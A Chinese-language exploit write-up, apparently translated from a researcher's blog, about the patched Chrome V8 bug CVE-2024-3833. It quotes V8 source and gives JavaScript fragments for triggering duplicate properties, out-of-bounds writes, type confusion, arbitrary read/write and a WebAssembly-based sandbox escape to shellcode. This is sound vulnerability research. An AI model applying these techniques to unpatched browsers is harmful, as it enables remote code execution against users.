在这篇文章中,我将利用Chrome的JavaScript引擎v8中的一个对象损坏漏洞CVE-2024-3833,这是我在2024年3月报告的漏洞331383939。还有一个类似的漏洞331358160,也被报告并被分配了CVE-2024-3832。这两个漏洞都在版本124.0.6367.60/.61中被修复了。CVE-2024-3833允许通过访问恶意网站,在Chrome的渲染器沙盒中实现远程代码执行(RCE)。

Chrome中的起源试验

Chrome中的新特性有时会作为起源试验特性推出,然后才会普及。当一个特性作为起源试验提供时,网络开发者可以在Chrome中注册他们的来源,这允许他们在注册的来源上使用该特性。这允许网络开发者在他们的网站上测试一个新特性,并向Chrome提供反馈,同时保持在没有请求使用的网站上禁用该特性。起源试验在有限的时间内有效,任何人都可以注册他们的来源来使用活跃试验列表中的特性。通过注册来源,开发者会得到一个起源试验令牌,他们可以通过添加一个元标签来包含在他们的网站上:<meta http-equiv="origin-trial" content="TOKEN_GOES_HERE">

旧漏洞

通常,起源试验特性在任何用户JavaScript运行之前就被启用了。然而,情况并不总是这样。一个网页可以在任何时候以编程方式创建包含试验令牌的元标签,并且可以在创建标签之前执行JavaScript。在某些情况下,负责打开特定起源试验特性的代码错误地假设在它之前没有运行任何用户JavaScript,这可能导致安全问题。

一个例子是CVE-2021-30561,由Google Project Zero的Sergei Glazunov报告。在那个案例中,当检测到起源试验令牌时,WebAssembly异常处理特性会在JavaScript的WebAssembly对象中创建一个Exception属性。


let exception = WebAssembly.Exception; //<---- 未定义
...
meta = document.createElement('meta');  
meta.httpEquiv = 'Origin-Trial';  
meta.content = token; 
document.head.appendChild(meta);  //<---- 激活起源试验
...
exception = WebAssembly.Exception; //<---- 属性创建

特别是,创建Exception属性的代码使用了一个内部函数来创建属性,它假设WebAssembly对象中不存在Exception属性。如果用户在激活试验之前创建了Exception属性,那么Chrome会尝试在WebAssembly中创建另一个Exception属性。这可能会在WebAssembly中产生两个具有不同值的重复的Exception属性。然后,这可以用来引起Exception属性中的类型混淆,进而被利用来获得RCE。


WebAssembly.Exception = 1.1;
...
meta = document.createElement('meta');  
meta.httpEquiv = 'Origin-Trial';  
meta.content = token; 
document.head.appendChild(meta);  //<---- 创建重复的Exception属性
...

CVE-2021-30561的实际情况更为复杂,因为启用WebAssembly异常处理特性的代码确实检查了WebAssembly对象是否已经包含名为Exception的属性。然而,那里使用的检查是不充分的,并且在CVE-2021-30561中通过使用JavaScript的Proxy对象被绕过。有关如何绕过和利用的详细信息,我将引导读者查看原始漏洞票,其中包含了所有细节。

又一天,又一个绕过

Javascript Promise集成是目前正在进行起源试验的WebAssembly特性(直到2024年10月29日)。与WebAssembly异常处理特性类似,当通过调用InstallConditionalFeatures检测到起源试验令牌时,它在WebAssembly对象上定义属性:


void WasmJs::InstallConditionalFeatures(Isolate* isolate,
                                        Handle context) {
   ...
  // 安装JSPI相关特性。
  if (isolate->IsWasmJSPIEnabled(context)) {
    Handle suspender_string = v8_str(isolate, "Suspender");
    if (!JSObject::HasRealNamedProperty(isolate, webassembly, suspender_string)  //<--- 1.
             .FromMaybe(true)) {
      InstallSuspenderConstructor(isolate, context);
    }

    // 如果尚未完成,则安装Wasm类型反射特性。
    Handle function_string = v8_str(isolate, "Function");
    if (!JSObject::HasRealNamedProperty(isolate, webassembly, function_string)   //<--- 2.
             .FromMaybe(true)) {
      InstallTypeReflection(isolate, context);
    }
  }
}

在添加Javascript Promise集成(JSPI)时,上述代码检查webassembly是否已经有SuspenderFunction属性(上述的1.和2.),如果没有,它将使用InstallSuspenderConstructorInstallTypeReflection分别创建这些属性。函数InstallSuspenderConstructor使用InstallConstructorFuncWebAssembly对象上创建Suspender属性:


void WasmJs::InstallSuspenderConstructor(Isolate* isolate,
                                         Handle context) {
  Handle webassembly(context->wasm_webassembly_object(), isolate);  //<--- 3.
  Handle suspender_constructor = InstallConstructorFunc(
      isolate, webassembly, "Suspender", WebAssemblySuspender);
  ...
}

问题是,在InstallSuspenderConstructor中,WebAssembly对象来自contextwasm_webassembly_object属性(上述的3.),而InstallConditionalFeatures中检查的WebAssembly对象来自全局对象的WebAssembly属性(与全局WebAssembly变量相同):


void WasmJs::InstallConditionalFeatures(Isolate* isolate,
                                        Handle context) {
  Handle global = handle(context->global_object(), isolate);
  // 如果某个模糊器决定使全局对象不可扩展,那么
  // 我们无法安装任何特性(如果我们尝试,将会CHECK-fail)。
  if (!global->map()->is_extensible()) return;

  MaybeHandle

全局WebAssembly变量可以通过使用JavaScript更改为任何用户定义的对象:


WebAssembly = {}; //<---- 更改WebAssembly全局变量

虽然这更改了WebAssembly的值,但context中缓存的wasm_webassembly_object不受影响。因此,首先可以在WebAssembly对象上定义一个Suspender属性,然后将WebAssembly变量设置为不同的对象,然后激活Javascript Promise集成起源试验,在原始的WebAssembly对象中创建一个重复的Suspender


WebAssembly.Suspender = {};
delete WebAssembly.Suspender;
WebAssembly.Suspender = 1;
//将原始的WebAssembly对象存储在oldWebAssembly中
var oldWebAssembly = WebAssembly;
var newWebAssembly = {};
WebAssembly = newWebAssembly;
//激活试验
meta = document.createElement('meta');  
meta.httpEquiv = 'Origin-Trial';  
meta.content = token; 
document.head.appendChild(meta);  //<---- 在oldWebAssembly中创建重复的Suspender属性
%DebugPrint(oldWebAssembly);

当触发起源试验时,InstallConditionalFeatures首先检查Suspender属性是否不在WebAssembly全局变量中(上述为newWebAssembly)。然后,它继续在context->wasm_webassembly_object(上述为oldWebAssembly)中创建Suspender属性。这样做在oldWebAssembly中创建了一个重复的Suspender属性,就像CVE-2021-30561中发生的那样。


DebugPrint: 0x2d5b00327519: [JS_OBJECT_TYPE] in OldSpace
 - map: 0x2d5b00387061  [DictionaryProperties]
 - prototype: 0x2d5b003043e9

这导致oldWebAssembly有两个存储在不同偏移处的Suspender属性。我将这个问题作为331358160报告了,并且它被分配了CVE-2024-3832。

函数InstallTypeReflection也遭受了类似的问题,但有一些额外的问题:

void WasmJs::InstallTypeReflection(Isolate* isolate,
                                   Handle context) {
  Handle webassembly(context->wasm_webassembly_object(), isolate);

#define INSTANCE_PROTO_HANDLE(Name) \
  handle(JSObject::cast(context->Name()->instance_prototype()), isolate)
  ...
  InstallFunc(isolate, INSTANCE_PROTO_HANDLE(wasm_tag_constructor), "type",  // <-- 1.
              WebAssemblyTableType, 0, false, NONE,
              SideEffectType::kHasNoSideEffect);
  ...
#undef INSTANCE_PROTO_HANDLE
}

函数InstallTypeReflection还在其他对象中定义了type属性。例如,在1.中,属性type是在wasm_tag_constructorprototype对象中创建的,没有检查该属性是否已经存在:

var x = WebAssembly.Tag.prototype;
x.type = {};
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta);  // <-- 在x上创建重复的type属性

这允许在WebAssembly.Tag.prototype上创建重复的type属性。这个问题被报告为331383939,并且被分配了CVE-2024-3833。

一个新的利用方法[]

CVE-2021-30561的利用依赖于创建“快速对象”的重复属性。在v8中,快速对象将它们的属性存储在一个数组中(一些属性也存储在对象本身内部)。然而,自那以后已经应用了一个硬化补丁,它会在向快速对象添加属性时检查重复项。因此,不再可能创建具有重复属性的快速对象。

然而,仍然可以使用这个错误在“字典对象”中创建重复属性。在v8中,属性字典实现为NameDictionaryNameDictionary的底层存储实现为一个数组,每个元素是一个形式为(Key, Value, Attribute)的元组,其中Key是属性的名称。当向NameDictionary添加属性时,使用数组中的下一个空闲条目来存储这个新元组。有了这个错误,可以在属性字典中用重复的Key创建不同的条目。在CVE-2023-2935的报告中,Sergei Glazunov展示了如何利用字典对象中的重复属性。然而,这依赖于能够将重复属性作为AccessorInfo属性创建,这是v8中通常为内置对象保留的一种特殊类型的属性。在当前情况下,这同样是不可能的。所以,我需要找到一种新的方式来利用这个问题。

这个想法是寻找一些内部函数或优化,它们将遍历对象的所有属性,但不会期望属性被重复。一个这样的优化是对象克隆。

克隆的攻击

当使用扩展语法复制对象时,会创建原始对象的浅拷贝:

const clonedObj = { ...obj1 };

在v8中,这实现为CloneObject字节码:

0x39b300042178 @    0 : 80 00 00 29       CreateObjectLiteral [0], [0], #41
...
0x39b300042187 @   15 : 82 f7 29 05       CloneObject r2, #41, [5]

当首次运行包含字节码的函数时,会生成内联缓存代码,并在后续调用中使用该代码处理字节码。在处理字节码时,内联缓存代码还会收集有关输入对象(obj1)的信息,并为相同类型的输入生成优化的内联缓存处理程序。当内联缓存代码首次运行时,没有关于以前输入对象的信息,也没有可用的缓存处理程序。因此,会检测到内联缓存未命中,并使用CloneObjectIC_Miss来处理字节码。为了理解CloneObject内联缓存的工作原理以及它与利用的相关性,我将回顾一些v8中对象类型和属性的基础知识。Javascript对象在v8中存储一个map字段,指定对象的类型,并特别指定对象中属性的存储方式:

x = { a : 1};
x.b = 1;
%DebugPrint(x);

%DebugPrint的输出如下:

DebugPrint: 0x1c870020b10d: [JS_OBJECT_TYPE]
 - map: 0x1c870011afb1  [FastProperties]
 ...
 - properties: 0x1c870020b161 
 - All own properties (excluding elements): {
    0x1c8700002ac1: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
    0x1c8700002ad1: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: properties[0]
 }

我们看到x有两个属性——一个存储在对象中(a),另一个存储在PropertyArray中。注意PropertyArray的长度是3(PropertyArray[3]),而只有一个属性存储在PropertyArray中。PropertyArray的长度就像C++中std::vector的容量。拥有稍大的容量可以避免每次向对象添加新属性时都要扩展和重新分配PropertyArray

对象的map使用字段inobject_propertiesunused_property_fields来指示有多少属性存储在对象中,以及PropertyArray中剩余多少空间。在这种情况下,我们有2个空闲空间(3 (PropertyArray长度) - 1 (数组中的属性) = 2)。

0x1c870011afb1: [Map] in OldSpace
 - map: 0x1c8700103c35 <MetaMap (0x1c8700103c85 )>
 - type: JS_OBJECT_TYPE
 - instance size: 16
 - inobject properties: 1
 - unused property fields: 2
...

当发生缓存未命中时,CloneObjectIC_Miss首先尝试通过使用GetCloneModeForMap检查source对象的map来确定克隆的结果(target)是否可以使用与原始对象(source)相同的map(如下所述1):

RUNTIME_FUNCTION(Runtime_CloneObjectIC_Miss) {
  HandleScope scope(isolate);
  DCHECK_EQ(4, args.length());
  Handle

与我们相关的情况是FastCloneObjectMode::kDifferentMap模式。

case FastCloneObjectMode::kDifferentMap: {
  Handle

在这种模式下,首先通过慢路径(上述的1.)制作source对象的浅拷贝。然后,内联缓存的处理程序被编码为由sourcetarget对象的映射组成的一对映射(上述的2.)。

从现在开始,如果另一个带有source_map的对象被克隆,将使用内联缓存处理程序来克隆对象。基本上,source对象的复制如下:

  1. 制作source对象的PropertyArray的副本:

          TNode source_property_array = CAST(source_properties);
    
          TNode length = LoadPropertyArrayLength(source_property_array);
          GotoIf(IntPtrEqual(length, IntPtrConstant(0)), &allocate_object);
    
          TNode property_array = AllocatePropertyArray(length);
          FillPropertyArrayWithUndefined(property_array, IntPtrConstant(0), length);
          CopyPropertyArrayValues(source_property_array, property_array, length,
                                  SKIP_WRITE_BARRIER, DestroySource::kNo);
          var_properties = property_array;
    
  2. 分配目标对象并使用result_map作为其映射。

      TNode object = UncheckedCast(AllocateJSObjectFromMap(
            result_map.value(), var_properties.value(), var_elements.value(),
            AllocationFlag::kNone,
            SlackTrackingMode::kDontInitializeInObjectProperties));
    
  3. source复制内部属性到target

        BuildFastLoop(
            result_start, result_size,
            [=](TNode field_index) {
              ...
              StoreObjectFieldNoWriteBarrier(object, result_offset, field);
            },
            1, LoopUnrollingMode::kYes, IndexAdvanceMode::kPost);
    

如果我尝试克隆一个具有重复属性的对象会发生什么?当代码首次运行时,会调用CloneObjectSlowPath来分配target对象,然后从source复制每个属性到target。然而,CloneObjectSlowPath中的代码正确处理了重复属性,所以当遇到source中的重复属性时,不是在target中创建重复的属性,而是覆盖现有的属性。例如,如果我的source对象具有以下布局:

DebugPrint: 0x38ea0031b5ad: [JS_OBJECT_TYPE] in OldSpace
 - map: 0x38ea00397745  [FastProperties]
 ...
 - properties: 0x38ea00355e85 
 - All own properties (excluding elements): {
    0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea0034b171

它有一个长度为4PropertyArray,其中type作为PropertyArray中的最后一个属性重复出现。克隆此对象得到的target将覆盖第一个type属性:

DebugPrint: 0x38ea00355ee1: [JS_OBJECT_TYPE]
 - map: 0x38ea003978b9  [FastProperties]
 ...
 - properties: 0x38ea00356001 
 - All own properties (excluding elements): {
    0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea00397499  (data field 0), location: in-object
    0x38ea0038257d: [String] in OldSpace: #a1: 1 (const data field 1), location: in-object
    0x38ea0038258d: [String] in OldSpace: #a2: 1 (const data field 2), location: in-object
    0x38ea0038259d: [String] in OldSpace: #a3: 1 (const data field 3), location: in-object
    0x38ea003825ad: [String] in OldSpace: #a4: 1 (const data field 4), location: properties[0]
    0x38ea003825bd: [String] in OldSpace: #a5: 1 (const data field 5), location: properties[1]
    0x38ea003825cd: [String] in OldSpace: #a6: 1 (const data field 6), location: properties[2]

注意target有一个长度为3PropertyArray,并且PropertyArray中也有三个属性(属性#a4..#a6,其locationproperties中)。特别是,target对象中没有unused_property_fields


0x38ea003978b9: [Map] in OldSpace
 - map: 0x38ea003034b1 <MetaMap (0x38ea00303501 )>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 0

虽然这看起来像是一个挫折,因为重复的属性并没有传播到target对象,但当内联缓存处理程序接管时,真正的魔法发生了。记住,当使用内联缓存处理程序克隆时,结果对象与CloneObjectSlowPath中的target对象具有相同的map,而PropertyArraysource对象的PropertyArray的副本。这意味着内联缓存处理程序的克隆target具有以下属性布局:

DebugPrint: 0x38ea003565c9: [JS_OBJECT_TYPE]
 - map: 0x38ea003978b9  [FastProperties]
 ...
 - properties: 0x38ea003565b1 
 - All own properties (excluding elements): {
    0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea0034b171

注意它有一个长度为4PropertyArray,但数组中只有三个属性,留下一个未使用的属性。然而,它的mapCloneObjectSlowPath使用的map相同(0x38ea003978b9),它没有unused_property_fields

0x38ea003978b9: [Map] in OldSpace
 - map: 0x38ea003034b1 <MetaMap (0x38ea00303501 )>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 0

所以,我得到的不是一个有重复属性的对象,而是一个unused_property_fieldsPropertyArray不一致的对象。现在,如果我给这个对象添加一个新属性,将创建一个新的map来反映对象的新属性布局。这个新mapunused_property_fields基于旧的map,在AccountAddedPropertyField中计算。基本上,如果旧的unused_property_fields是正数,这会减少一个unused_property_fields来考虑新添加的属性。如果旧的unused_property_fields是零,那么新的unused_property_fields设置为二,考虑到PropertyArray已满,必须扩展。

另一方面,扩展PropertyArray的决定基于它的length而不是mapunused_property_fields

void MigrateFastToFast(Isolate* isolate, Handle object,
                       Handle new_map) {
    ...
    // Check if we still have space in the {object}, in which case we
    // can also simply set the map (modulo a special case for mutable
    // double boxes).
    FieldIndex index = FieldIndex::ForDetails(*new_map, details);
    if (index.is_inobject() || index.outobject_array_index() property_array(isolate)->length()) {
      ...
      object->set_map(*new_map, kReleaseStore);
      return;
    }
    // This migration is a transition from a map that has run out of property
    // space. Extend the backing store.
    int grow_by = new_map->UnusedPropertyFields() + 1;
    ...  
}

所以,如果我有一个对象,它的unused_property_fields为零,但在PropertyArray中有一个空间(即,length = existing_property_number + 1),那么当我添加一个新属性时,PropertyArray将不会被扩展。所以,在添加一个新属性后,PropertyArray将被填满。然而,正如前面提到的,unused_property_fields是独立更新的,它将被设置为二,就好像PropertyArray被扩展了:

DebugPrint: 0x2575003565c9: [JS_OBJECT_TYPE]
 - map: 0x257500397749  [FastProperties]
 ...
 - properties: 0x2575003565b1 
 - All own properties (excluding elements): {
    0x257500004045: [String] in ReadOnlySpace: #type: 0x25750034b171

这很重要,因为v8的JIT编译器TurboFan使用unused_property_fields来决定是否需要扩展PropertyArray

JSNativeContextSpecialization::BuildPropertyStore(
    Node* receiver, Node* value, Node* context, Node* frame_state, Node* effect,
    Node* control, NameRef name, ZoneVector* if_exceptions,
    PropertyAccessInfo const& access_info, AccessMode access_mode) {
    ...
    if (transition_map.has_value()) {
      // Check if we need to grow the properties backing store
      // with this transitioning store.
      ...
      if (original_map.UnusedPropertyFields() == 0) {
        DCHECK(!field_index.is_inobject());

        // Reallocate the properties {storage}.
        storage = effect = BuildExtendPropertiesBackingStore(
            original_map, storage, effect, control);

所以,通过JIT向具有两个unused_property_fields和满PropertyArray的对象添加新属性,我将能够越界写入PropertyArray(OOB),并覆盖其后分配的任何内容。

创建具有重复属性的快速对象

为了在PropertyArray中引起OOB(越界)写入,我首先需要创建一个具有重复属性的快速对象。正如之前提到的,一个硬化补丁 在向快速对象添加属性时引入了检查重复项的功能,因此我不能直接创建具有重复属性的快速对象。解决方案是先使用错误创建一个具有重复属性的字典对象,然后将该对象转变为快速对象。为此,我将使用WebAssembly.Tag.prototype来触发错误:

var x = WebAssembly.Tag.prototype;
x.type = {};
// 删除属性会导致变为字典对象
delete x.constructor;
// 触发错误以创建重复的type属性
...

一旦我得到了一个具有重复属性的字典对象,我可以通过使用MakePrototypesFast来将其变为快速对象,这可以通过属性访问触发:

var y = {};
// 将x设置为y的原型
var y.__proto__ = x;
// y的属性访问调用MakePrototypeFast对x进行操作
y.a = 1;
z = y.a;

通过使x成为对象y的原型,然后访问y的属性,调用MakePrototypeFastx变为具有重复属性的快速对象。之后,我可以克隆x以触发PropertyArray中的OOB写入。

利用PropertyArray中的OOB写入

为了利用PropertyArray中的OOB写入,我们首先检查PropertyArray之后分配了什么。回想一下,PropertyArray是在内联缓存处理程序中分配的。从处理程序代码中,我可以看到PropertyArray是在target对象分配之前分配的:

void AccessorAssembler::GenerateCloneObjectIC() {
    ...
      TNode property_array = AllocatePropertyArray(length);  //--- property_array被分配
      ...
      var_properties = property_array;
    }

    Goto(&allocate_object);
    BIND(&allocate_object);
    ...
    TNode object = UncheckedCast(AllocateJSObjectFromMap(  //--- target对象被分配
        result_map.value(), var_properties.value(), var_elements.value(),
        AllocationFlag::kNone,
        SlackTrackingMode::kDontInitializeInObjectProperties));

由于v8线性地分配对象,OOB写入因此允许我改变target对象的内部字段。为了利用这个漏洞,我将覆盖target对象的第二个字段,即properties字段,它存储了target对象的PropertyArray的地址。这涉及到创建JIT函数向target对象添加两个属性。

a8 = {c : 1};
...
function transition_store(x) {
  x.a7 = 0x100;
}
function transition_store2(x) {
  x.a8 = a8;
}
... //JIT优化transition_store和transition_store2
transition_store(obj);
// 导致对象a8被解释为obj的PropertyArray
transition_store2(obj);

将属性a8存储到具有不一致PropertyArrayunused_property_fields的损坏对象obj时,对PropertyArray的OOB写入将用JavaScript对象a8覆盖objPropertyArray。然后可以通过在v8堆中仔细安排对象来利用这一点。由于对象在v8堆中线性分配,可以通过按顺序分配对象轻松地安排堆。例如,在以下代码中:

var a8 = {c : 1};
var a7 = [1,2];

对象a8周围的v8堆如下所示:

左侧显示了对象a8和a7。字段map、properties和elements是C++对象中的内部字段,对应于JavaScript对象。右侧表示内存的视图,作为obj的PropertyArray(当obj的PropertyArray设置为a8的地址时)。

左侧显示了对象a8a7。字段mappropertieselements是C++对象中的内部字段,对应于JavaScript对象。右侧表示内存的视图,作为objPropertyArray(当objPropertyArray设置为a8的地址时)。PropertyArray有两个内部字段,maplength。当对象a8被类型混淆为PropertyArray时,它的properties字段,即其PropertyArray的地址,被解释为objPropertyArraylength。由于地址通常是一个较大的数字,这允许进一步对objPropertyArray进行OOB读写。

PropertyArray中的属性ai+3将与Array a7length字段对齐。通过写入这个属性,可以覆盖Array a7length。这允许我实现JavaScript数组中的OOB写入,这可以以标准方式被利用。然而,为了覆盖length字段,我必须不断向obj添加属性,直到达到length字段。不幸的是,这意味着我还将覆盖mappropertieselements字段,这将破坏Array a7

为了避免覆盖a7的内部字段,我将创建a7,使其PropertyArray在它之前分配。这可以通过克隆来实现:

var obj0 = {c0 : 0, c1 : 1, c2 : 2, c3 : 3};
obj0.c4 = {len : 1};
function clone0(x) {
  return {...x};
}
// 运行clone0(obj0)几次以创建内联缓存处理程序
...
var a8 = {c : 1};
// 使用内联缓存处理程序创建a7
var a7 = clone0(obj0);

对象obj0有五个字段,最后一个c4存储在PropertyArray中:


DebugPrint: 0xad0004a249: [JS_OBJECT_TYPE]
    ...
    0xad00198b45: [String] in OldSpace: #c4: 0x00ad0004a31d

当在函数clone0中使用内联缓存处理程序克隆obj0时,请记住target对象的PropertyArray(在这种情况下是a7)首先被分配,因此a7PropertyArray将被分配在对象a8之后,但在a7之前:

// a8的地址
DebugPrint: 0xad0004a7fd: [JS_OBJECT_TYPE]
// a7的DebugPrint
DebugPrint: 0xad0004a83d: [JS_OBJECT_TYPE]
 - properties: 0x00ad0004a829 
 - All own properties (excluding elements): {
    ...
    0xad00198b45: [String] in OldSpace: #c4: 0x00ad0004a31d

我们可以看到,a8的地址是0xad0004a7fd,而a7PropertyArray的地址在0x00ad0004a829a70xad0004a83d。这导致以下内存布局:

Memory layout diagram for objects a8 and a7

有了这个堆布局,我可以通过写入与c4对齐的obj中的属性ai来覆盖a7的属性c4。尽管PropertyArraymaplength也会被覆盖,但这似乎不影响a7的属性访问。然后,我可以利用JIT编译器中的优化属性加载在JavaScript ObjectArray之间创建类型混淆。

function set_length(x) {
  x.c4.len = 1000;
}

当函数set_length使用a7作为其input x进行优化时,因为a7的属性c4是一个具有恒定map的对象(它始终是{len : 1}),这个属性的map存储在a7map中。JIT编译器利用这些信息来优化x.c4.len的属性访问。只要xmap保持与a7map相同,x.c4将具有与{len : 1}相同的map,因此可以直接使用内存偏移量访问x.c4len属性,而无需检查x.c4map。然而,通过使用PropertyArray中的OOB写入将a7.c4更改为双精度Arraycorrupted_arra7map不会改变,JIT编译的set_length代码将把a7.c4视为如果它仍然具有与{len : 1}相同的map,并直接写入对应于a7.c4len属性的内存偏移量。由于a7.c4现在是一个Array对象,corrupted_arr,这将覆盖corrupted_arrlength属性,这允许我越界访问corrupted_arr。一旦实现了对corrupted_arr的OOB访问,获得v8堆中的任意读写就相当直接了。它基本上包括以下步骤:

  1. 首先,在corrupted_arr之后放置一个Object Array,并使用corrupted_arr中的OOB读原语读取存储在此数组中的对象的地址。这允许我获得任何V8对象的地址。

  2. corrupted_arr之后放置另一个双精度数组,writeArr,并使用corrupted_arr中的OOB写原语覆盖writeArrelement字段为对象地址。然后访问writeArr的元素允许我任意读写地址。

由于v8最近引入了v8堆沙箱,它将v8堆与其他进程内存(例如可执行代码)隔离开来,并防止v8堆内的记忆错误访问堆外的内存。要获得代码执行,需要一种方法来逃离堆沙箱。由于这个错误是在Pwn2Own比赛后不久报告的,我决定检查提交记录,看看是否有任何沙箱逃逸被修补作为比赛的结果。果然,有一个提交 看起来像是修复了一个堆沙箱逃逸,我认为这是与Pwn2Own比赛的入口一起使用的。

在创建WebAssembly.Instance对象时,可以导入来自Javascript或其他WebAssembly模块的对象,并在实例中使用它们:

const importObject = {
  imports: {
    imported_func(arg) {
      console.log(arg);
    },
  },
};
var mod = new WebAssembly.Module(wasmBuffer);
const instance = new WebAssembly.Instance(mod, importObject);

在这种情况下,imported_func被导入到实例中,并且可以被定义在WebAssembly模块中的WebAssembly函数调用它们:

(module
  (func $i (import "imports" "imported_func") (param i32))
  (func (export "exported_func")
    i32.const 42
    call $i
  )

为了在v8中实现这一点,当创建WebAssembly.Instance时,使用了FixedAddressArray来存储导入函数的地址:

Handle WasmTrustedInstanceData::New(
    Isolate* isolate, Handle module_object) {
  ...
  const WasmModule* module = module_object->module();

  int num_imported_functions = module->num_imported_functions;
  Handle imported_function_targets =
      FixedAddressArray::New(isolate, num_imported_functions);
  ...

然后当调用导入的函数时,它被用作调用目标。由于这个FixedAddressArray位于v8堆中,一旦我在v8堆中获得了任意读写原语,我就可以轻松修改它。因此,我可以重写导入函数的目标,以便在WebAssembly代码中调用导入的函数时,它将跳转到我准备的shell代码的地址以获得代码执行。

特别地,如果导入的函数是一个Javascript Math 函数,那么一些包装代码被编译 并用作imported_function_targets中的调用目标:

bool InstanceBuilder::ProcessImportedFunction(
    Handle trusted_instance_data, int import_index,
    int func_index, Handle module_name, Handle import_name,
    Handle

由于编译的包装代码存储在与其他由Liftoff编译器 编译的WebAssembly代码相同的rx区域中,我可以创建存储数值数据的WebAssembly函数,并重写imported_function_targets以跳转到这些数据中间,以便它们被解释为代码并被执行。这个想法类似于JIT喷洒,这是一种绕过堆沙箱的方法,但已经被修补。由于包装代码和我编译的WebAssembly代码在相同的区域,它们之间的偏移量可以计算,这允许我精确地跳转到我制作的WebAssembly代码中的数据以执行任意shell代码。

这个漏洞的利用可以在这里找到,附带一些设置说明。

结论

在这篇文章中,我研究了CVE-2024-3833,这是一个允许在v8对象中创建重复属性的错误,类似于CVE-2021-30561的错误。虽然由于代码硬化,利用CVE-2021-30561中重复属性的方法不再可用,但我能够以不同的方式利用这个错误。

  1. 首先将重复属性转移到对象的PropertyArray和其map之间的不一致。

  2. 然后这变成了PropertyArray的OOB写入,然后我用它在JavaScript Object和JavaScript Array之间创建类型混淆。

  3. 一旦实现了这种类型混淆,我可以重写类型混淆的JavaScript Arraylength。然后这变成了JavaScript Array中的OOB访问。

一旦实现了JavaScript Arraycorrupted_arr)中的OOB访问,将其转换为v8堆中的任意读写就相当标准了。它基本上包括以下步骤:

  1. 首先,在corrupted_arr之后放置一个Object Array,并使用corrupted_arr中的OOB读原语读取存储在此数组中的对象的地址。这允许我获得任何V8对象的地址。

  2. corrupted_arr之后放置另一个双精度数组,writeArr,并使用corrupted_arr中的OOB写原语覆盖writeArrelement字段为对象地址。然后访问writeArr的元素允许我任意读写地址。

由于v8最近实施了v8堆沙箱,获得v8堆中的任意内存读写不足以实现代码执行。为了实现代码执行,我覆盖了存储在v8堆中的WebAssembly导入函数的跳转目标。通过将跳转目标重写为shell代码的位置,我可以执行任意代码调用WebAssembly模块中的导入函数。

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。